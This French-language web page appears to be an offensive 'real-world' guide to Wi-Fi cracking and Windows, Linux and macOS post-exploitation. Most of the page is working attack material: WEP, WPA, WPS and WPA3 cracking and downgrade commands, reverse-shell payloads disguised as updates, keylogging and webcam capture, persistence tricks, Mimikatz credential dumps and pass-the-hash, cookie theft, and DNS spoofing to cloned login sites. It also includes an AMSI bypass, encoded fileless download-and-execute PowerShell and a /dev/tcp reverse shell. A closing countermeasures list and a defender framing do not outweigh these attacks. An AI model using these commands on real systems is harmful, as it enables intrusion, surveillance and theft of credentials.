💀 Apacheries 2025 — Guide OFFENSIF Réel Wi-Fi & Post-Exploitation
Chez pctamalou : démos RÉELLES en lab • Windows 11 • Prise de contrôle • Popups LIVE
🛡️ Notre Combat : La Liberté du Savoir
Chez pctamalou, on ne se cache pas derrière des théories. On montre comment ça marche VRAIMENT. Ce guide est pour ceux qui veulent comprendre les vraies menaces, pas pour les script-kiddies.
"On ne peut se défendre que contre ce qu'on comprend"
Nous montrons les attaques RÉELLES pour que tu puisses VRAIMENT te défendre. Pas de théorie, que du concret.
🔧 Préparation du Lab OFFENSIF
Configuration d'un environnement Kali Linux pour les tests OFFENSIFS. Le mode monitor permet d'écouter passivement le trafic sans s'associer aux réseaux.
-
Mise à jour du système :
sudo apt update && sudo apt full-upgrade -yMet à jour la liste des paquets et le système complet.full-upgradegère mieux les dépendances queupgradestandard. -
Installation des outils OFFENSIFS :
sudo apt install aircrack-ng hcxtools hcxdumptool hashcat bettercap metasploit-framework -yInstalle la suite OFFENSIVE complète : aircrack-ng pour le Wi-Fi, hcxtools pour PMKID, bettercap pour MITM, metasploit pour l'exploitation. -
Activation du mode monitor :
sudo airmon-ng check kill
sudo airmon-ng start wlan0Arrête les processus interférant avec le mode monitor, puis active ce mode sur l'interface Wi-Fi (remplacez wlan0 par votre interface). -
Vérification de l'interface :
iwconfigVérifie que l'interface est bien en mode monitor (doit afficher "Mode:Monitor").
Utilisez des cartes Wi-Fi externes compatibles (Alfa AWUS036ACH, Panda PAU09) pour de meilleures performances en injection et réception. Ces cartes ont plus de puissance pour les attaques.
🔓 WEP – Casse Réel en 2025
WEP (Wired Equivalent Privacy) utilise RC4 avec IVs (Initialization Vectors) de 24 bits, créant des failles statistiques exploitables. Même en 2025, certains réseaux legacy existent encore.
| Étape | Commande | Explication |
|---|---|---|
| Scan WEP | sudo airodump-ng -w wep_cap --encrypt WEP wlan0mon |
Capture les réseaux WEP et sauvegarde dans wep_cap |
| Augmentation IVs | sudo aireplay-ng -0 10 -a C0:FF:EE:C0:FF:EE wlan0mon |
Déauthentification pour générer plus d'IVs |
| Craquage | sudo aircrack-ng wep_cap-01.cap |
Analyse statistique des IVs pour retrouver la clé |
🔍 Analyse Technique : Faiblesse RC4
WEP utilise RC4 avec des IVs de seulement 24 bits, ce qui entraîne des collisions après environ 5000 paquets. L'attaque FMS (Fluhrer, Mantin, Shamir) exploite les IVs faibles pour déduire la clé par analyse statistique.
Solution : Migration vers WPA2/WPA3 obligatoire. WEP ne devrait plus être utilisé dans aucun environnement.
🔑 WPA/WPA2 – Attaques Modernes OFFENSIVES
WPA/WPA2 utilise un handshake à 4 messages pour établir une clé de session unique. Nos méthodes OFFENSIVES exploitent les failles actuelles.
Problème : L'entreprise utilise WPA2-PSK avec un mot de passe faible basé sur le nom de l'entreprise.
Objectif : Capturer le handshake et tester la robustesse du mot de passe.
| Méthode | Outils | Processus | Détection |
|---|---|---|---|
| Handshake Classique | Aircrack-ng | Déauthentification client → Capture handshake → Crack offline | Détectable (deauth visible) |
| PMKID (Stealth) | Hcxdumptool | Récupération PMKID sans deauth → Crack offline | Difficile à détecter |
| Attaque Dictionary | Hashcat | Utilisation de wordlists (rockyou.txt) + règles | Indétectable (hors ligne) |
Processus détaillé PMKID :
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
hcxpcaptool -z hash.hc22000 capture.pcapng
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule
🔍 Contre-mesures Efficaces
- Mots de passe complexes : Minimum 12 caractères avec majuscules, minuscules, chiffres et symboles
- WPA3 : Utilisation de SAE (Simultaneous Authentication of Equals) résistant aux attaques offline
- 802.1X : Authentification individuelle avec certificats ou identifiants uniques
- Détection : Monitoring des déauthentifications anormales et des probes PMKID
📟 WPS – Faiblesses Réelles Exploitables
Wi-Fi Protected Setup (WPS) utilise un PIN à 8 chiffres, mais seule la moitié est vérifiée à la fois, réduisant efficacement l'espace des clés à 11,000 possibilités.
De nombreux routeurs grand public ont WPS activé par défaut avec des PINs prédictibles ou des implémentations vulnérables à Pixie Dust.
| Vulnérabilité | Outils | Temps estimé | Taux de succès |
|---|---|---|---|
| Pixie Dust | Pixiewps, Reaver | 1-5 minutes | ~30% (dépend du firmware) |
| Brute-force PIN | Reaver, Bully | 4-10 heures | ~70% (si WPS activé) |
| Attaque PBC | Reaver, wpscrack | Variable | Faible (dépend de l'utilisateur) |
Processus Pixie Dust :
sudo wash -i wlan0mon
sudo reaver -i wlan0mon -b C0:FF:EE:C0:FF:EE -K -vv
🐉 WPA3 – Nouveaux Défis OFFENSIFS
WPA3 introduit SAE (Simultaneous Authentication of Equals) basé sur Dragonfly, résistant aux attaques par dictionnaire offline. Cependant, des vulnérabilités comme Dragonblood persistent.
Attaque de Downgrade :
sudo airodump-ng -w wpa3_cap --encrypt WPA3 wlan0mon
sudo mdk4 wlan0mon d -b C0:FF:EE:C0:FF:EE -s 200
🔍 Vulnérabilités Dragonblood
Les attaques Dragonblood exploitent :
- Downgrade : Forcer la connexion en WPA2
- Side-channels : Fuites par timing et cache
- DoS : Épuisement des ressources par requêtes malformées
Protections : Désactiver le mode hybride, mettre à jour le firmware, utiliser WPA3-Enterprise.
🚪 Post-Exploitation RÉELLE - Windows 11 LIVE
Une fois le Wi-Fi pété, voici ce qu'on peut VRAIMENT faire. Ces démos marchent en 2025 sur Windows 11.
Faire apparaître un popup sur TOUTES les machines Windows du réseau :
# Découverte des machines Windows
nmap -p 445 --open 192.168.1.0/24
# Envoi du popup à une machine
net rpc shutdown -I 192.168.1.50 -U administrateur%MotDePasse -f -t 0 -C "Message de test pctamalou"
# Version PowerShell (plus discrète)
Invoke-Command -ComputerName 192.168.1.50 -ScriptBlock { msg * "Salut Apache ! 😈" }
Prendre le contrôle COMPLET d'une machine Windows 11 :
# Création du payload personnalisé
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 5 -o pctamalou_update.exe
# Serveur HTTP pour distribuer le payload
python3 -m http.server 80
# Social engineering : faire croire que c'est une mise à jour
# Sur la victime : http://192.168.1.100/pctamalou_update.exe
# Écouteur Metasploit
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"
Une fois le Meterpreter actif, voici ce qu'on peut faire :
# Dans la session Meterpreter
meterpreter > webcam_snap -v false
meterpreter > keyscan_start
meterpreter > screenshot
meterpreter > ps
meterpreter > migrate 1234
meterpreter > shell
C:\> whoami
C:\> ipconfig
Rester sur la machine même après redémarrage :
# Dans Meterpreter
meterpreter > run persistence -U -i 30 -p 4444 -r 192.168.1.100
# Ou manuellement via Registry
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\pctamalou_update.exe" /f
# Via Scheduled Task (plus furtif)
schtasks /create /tn "WindowsUpdateService" /tr "C:\Users\Public\pctamalou_update.exe" /sc minute /mo 5 /f
💀 Démos Avancées LIVE - Le Vrai Pouvoir
Quand tu contrôles le réseau, tu contrôles TOUT. Voici des attaques avancées qui marchent VRAIMENT.
🔗 Attaque MITM Avancée + Injection JavaScript
Intercepte et modifie le trafic web EN TEMPS RÉEL :
# Bettercap pour MITM avancé
sudo bettercap -iface wlan0
# Dans la console Bettercap :
set arp.spoof.targets 192.168.1.50
set arp.spoof.fullduplex true
set net.sniff.verbose false
set net.sniff.local true
set http.proxy.script /usr/share/bettercap/caplets/http-proxy.js
# Activer tout
arp.spoof on
net.sniff on
http.proxy on
# Fichier d'injection JavaScript (inject.js)
function onResponse(req, res) {
if(res.ContentType.indexOf('text/html') == 0){
var body = res.ReadBody();
body = body.replace(
'</body>',
'<script>alert("pctamalou était ici! 😈")</script></body>'
);
res.Body = body;
}
}
Voler les sessions web et cookies des victimes :
# Avec Bettercap + caplet
sudo bettercap -iface wlan0 -caplet /usr/share/bettercap/caplets/hstshijack/hstshijack
# Ou manuellement :
set net.sniff.verbose true
set net.sniff.output cookies.pcap
net.sniff on
# Analyser les cookies volés
strings cookies.pcap | grep -i cookie
strings cookies.pcap | grep -i session
Utiliser les hashs Windows volés pour prendre d'autres machines :
# Voler les hashs avec Mimikatz (dans Meterpreter)
meterpreter > load kiwi
meterpreter > lsa_dump_sam
meterpreter > lsa_dump_secrets
# Utiliser les hashs pour attaquer d'autres machines
pth-winexe -U ADMINISTRATEUR%aad3b435b51404eeaad3b435b51404ee:NT_HASH //192.168.1.60 cmd.exe
# Avec CrackMapExec
crackmapexec smb 192.168.1.0/24 -u administrateur -H NT_HASH --local-auth
Rediriger le trafic vers des faux sites :
# Bettercap DNS spoofing
set dns.spoof.domains facebook.com,gmail.com,twitter.com
set dns.spoof.address 192.168.1.100 # Ton IP
dns.spoof on
# Sur ton serveur (192.168.1.100)
# Créer des clones des sites cibles
# Apache config :
# <VirtualHost *:80>
# ServerName facebook.com
# DocumentRoot /var/www/facebook-clone
# </VirtualHost>
Simuler une attaque zero-day avec des techniques avancées :
# Utilisation de PowerShell sans fichier (fileless)
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
# Bypass AMSI (Antimalware Scan Interface)
powershell -nop -exec bypass -c "amsiInitFailed=$null; [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"
# Execution depuis mémoire
powershell -nop -exec bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMAAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAnACkA
Prendre le contrôle des machines Linux et macOS aussi :
# Reverse Shell Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4445 -f elf -o backup_script.elf
# Reverse Shell macOS
msfvenom -p osx/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4446 -f macho -o Installer.pkg
# Attaque via SSH keys
ssh -i id_rsa user@192.168.1.70 'bash -i >& /dev/tcp/192.168.1.100/4447 0>&1'
# Écouteurs multiples
msfconsole -q -x "use multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4445; exploit"
🛡️ Contre-Mesures RÉELLES - Se Défendre Vraiment
Maintenant que tu as vu ce qui est possible, voici comment VRAIMENT te défendre.
- WPA3-Enterprise uniquement - Plus de PSK partagés
- Certificats 802.1X - Authentification par machine
- Monitoring IDS/IPS - Détection des attaques en temps réel
- Segmentation réseau stricte - VLANs séparés
- Détection rogue AP - Surveillance des points d'accès non autorisés
- EDR (Endpoint Detection and Response) - CrowdStrike, SentinelOne
- AppLocker/Windows Defender Application Control - Blocage des exécutables non signés
- LAPS (Local Administrator Password Solution) - Mots de passe admin uniques par machine
- Network Segmentation - Pas de communication latérale
- Privileged Access Management - Contrôle strict des comptes administrateurs
- SIEM avec règles custom - Alertes sur les comportements suspects
- Network monitoring - Détection ARP spoofing, scans
- Canaries/ honeypots - Leurres pour détecter les attaquants
- Audits réguliers - Tests d'intrusion fréquents
- Threat Intelligence - Veille sur les nouvelles menaces
🎯 Notre Mission Chez PCTAMALOU
Nous montrons les attaques RÉELLES pas pour créer des cybercriminels, mais pour former des cyberdéfenseurs. La connaissance est neutre - c'est son usage qui compte.
"On ne combat bien que ce qu'on comprend bien"
Chez pctamalou, on croit en la liberté du savoir. On montre les techniques OFFENSIVES pour que les défenseurs puissent VRAIMENT comprendre les menaces et s'en protéger.